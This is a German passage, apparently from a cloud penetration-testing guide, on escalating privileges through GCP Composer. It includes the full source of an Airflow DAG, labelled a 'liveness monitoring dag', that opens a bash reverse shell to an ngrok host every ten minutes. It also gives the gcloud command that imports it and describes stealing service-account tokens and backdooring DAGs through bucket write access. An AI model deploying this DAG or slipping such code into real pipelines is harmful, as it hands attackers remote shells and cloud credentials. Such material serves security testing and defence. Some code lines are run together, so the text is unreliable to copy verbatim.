Es ist möglich, jedes Dienstkonto an die neu erstellte Composer-Umgebung mit dieser Berechtigung anzuhängen. Später könntest du Code innerhalb von Composer ausführen, um das Token des Dienstkontos zu stehlen.
Fügen Sie den Python-DAG-Code in eine Datei ein und importieren Sie ihn, indem Sie Folgendes ausführen:
# TODO: Create dag to get a rev shellgcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
Reverse-Shell-DAG:
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell',default_args=default_args,description='liveness monitoring dag',schedule_interval='*/10 * * * *',max_active_runs=1,catchup=False,dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator(task_id='bash_rev',bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',dag=dag,depends_on_past=False,priority_weight=2**31-1,do_xcom_push=False)
Schreibzugriff auf den Composer-Bucket
Alle Komponenten einer Composer-Umgebung (DAGs, Plugins und Daten) werden in einem GCP-Bucket gespeichert. Wenn der Angreifer Lese- und Schreibberechtigungen dafür hat, könnte er den Bucket überwachen und immer wenn ein DAG erstellt oder aktualisiert wird, eine mit einem Backdoor versehenen Version einreichen, sodass die Composer-Umgebung die mit einem Backdoor versehenen Version aus dem Speicher abruft.